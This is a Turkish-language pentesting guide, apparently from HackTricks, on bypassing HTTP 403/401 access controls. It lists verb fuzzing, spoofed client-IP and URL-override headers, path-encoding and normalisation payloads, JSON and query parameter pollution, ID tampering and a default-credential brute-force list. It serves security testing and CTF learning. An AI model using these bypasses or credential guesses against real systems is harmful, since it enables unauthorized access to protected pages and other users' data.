403 & 401 Bypass'ları

Reading time: 5 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin

HTTP Fiilleri/Yöntemleri Fuzzing

Dosyaya erişmek için farklı fiiller kullanmayı deneyin: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • Yanıt başlıklarını kontrol edin, belki bazı bilgiler verilebilir. Örneğin, HEAD için 200 yanıtı ve Content-Length: 55 demek ki HEAD fiili bilgiye erişebilir. Ama yine de o bilgiyi dışarı çıkarmanın bir yolunu bulmalısınız.
  • X-HTTP-Method-Override: PUT gibi bir HTTP başlığı kullanmak, kullanılan fiili geçersiz kılabilir.
  • TRACE fiilini kullanın ve eğer çok şanslıysanız belki yanıt içinde ara proxy'ler tarafından eklenen başlıkları görebilirsiniz, bu başlıklar faydalı olabilir.

HTTP Başlıkları Fuzzing

  • Host başlığını rastgele bir değere değiştirin (burada işe yaradı)

  • Kaynağa erişmek için diğer Kullanıcı Ajanlarını kullanmayı deneyin.

  • HTTP Başlıklarını Fuzzing: HTTP Proxy Başlıkları, HTTP Kimlik Doğrulama Temel ve NTLM brute-force (sadece birkaç kombinasyon ile) ve diğer teknikleri kullanmayı deneyin. Bütün bunları yapmak için fuzzhttpbypass aracını oluşturdum.

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

Eğer yol korunuyorsa, bu diğer başlıkları kullanarak yol korumasını aşmayı deneyebilirsiniz:

  • X-Original-URL: /admin/console

  • X-Rewrite-URL: /admin/console

  • Eğer sayfa bir proxy'nin arkasındaysa, belki de proxy, özel bilgilere erişmenizi engelliyordur. HTTP İstek Kaçırma veya hop-by-hop başlıkları'nı kötüye kullanmayı deneyin.

  • Farklı yanıtlar aramak için özel HTTP başlıklarını fuzzing yapın.

  • HTTP Yöntemlerini fuzzing yaparken özel HTTP başlıklarını fuzzing yapın.

  • Host başlığını kaldırın ve belki de korumayı aşabileceksiniz.

Yol Fuzzing

Eğer /path engellenmişse:

  • /**%2e/path_ kullanmayı deneyin (eğer erişim bir proxy tarafından engelleniyorsa, bu korumayı aşabilir). Ayrıca _** /%252e**/path (çift URL kodlaması) deneyin.
  • Unicode bypass deneyin: /%ef%bc%8fpath (URL kodlu karakterler "/" gibidir) böylece geri kodlandığında //path olacak ve belki de /path adı kontrolünü aşmış olacaksınız.
  • Diğer yol bypass'ları:
  • site.com/secret –> HTTP 403 Yasak
  • site.com/SECRET –> HTTP 200 Tamam
  • site.com/secret/ –> HTTP 200 Tamam
  • site.com/secret/. –> HTTP 200 Tamam
  • site.com//secret// –> HTTP 200 Tamam
  • site.com/./secret/.. –> HTTP 200 Tamam
  • site.com/;/secret –> HTTP 200 Tamam
  • site.com/.;/secret –> HTTP 200 Tamam
  • site.com//;//secret –> HTTP 200 Tamam
  • site.com/secret.json –> HTTP 200 Tamam (ruby)
  • Aşağıdaki durumlarda bu listeyi kullanın:
  • /FUZZsecret
  • /FUZZ/secret
  • /secretFUZZ
  • Diğer API bypass'ları:
  • /v3/users_data/1234 --> 403 Yasak
  • /v1/users_data/1234 --> 200 Tamam
  • {“id”:111} --> 401 Yetkisiz
  • {“id”:[111]} --> 200 Tamam
  • {“id”:111} --> 401 Yetkisiz
  • {“id”:{“id”:111}} --> 200 Tamam
  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON Parametre Kirliliği)
  • user_id=ATTACKER_ID&user_id=VICTIM_ID (Parametre Kirliliği)

Parametre Manipülasyonu

  • param değerini değiştirin: id=123 --> id=124
  • URL'ye ek parametreler ekleyin: ?id=124 —-> id=124&isAdmin=true
  • Parametreleri kaldırın
  • Parametrelerin sırasını değiştirin
  • Özel karakterler kullanın.
  • Parametrelerde sınır testi yapın — -234 veya 0 veya 99999999 gibi değerler sağlayın (sadece bazı örnek değerler).

Protokol versiyonu

HTTP/1.1 kullanıyorsanız 1.0 kullanmayı deneyin veya 2.0'ı destekleyip desteklemediğini test edin.

Diğer Bypass'lar

  • Alan adının IP veya CNAME'sini alın ve doğrudan iletişim kurmayı deneyin.
  • Sunucuya baskı yapmayı deneyin, yaygın GET istekleri gönderin (Bu adam için işe yaradı).
  • Protokolü değiştirin: http'den https'ye veya https'den http'ye geçin.
  • https://archive.org/web/ adresine gidin ve geçmişte o dosyanın dünya çapında erişilebilir olup olmadığını kontrol edin.

Brute Force

  • Şifreyi tahmin edin: Aşağıdaki yaygın kimlik bilgilerini test edin. Kurban hakkında bir şey biliyor musunuz? Yoksa CTF meydan okuma adını mı biliyorsunuz?
  • Brute force: Temel, digest ve NTLM kimlik doğrulamasını deneyin.
Common creds
admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

Otomatik Araçlar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks'i Destekleyin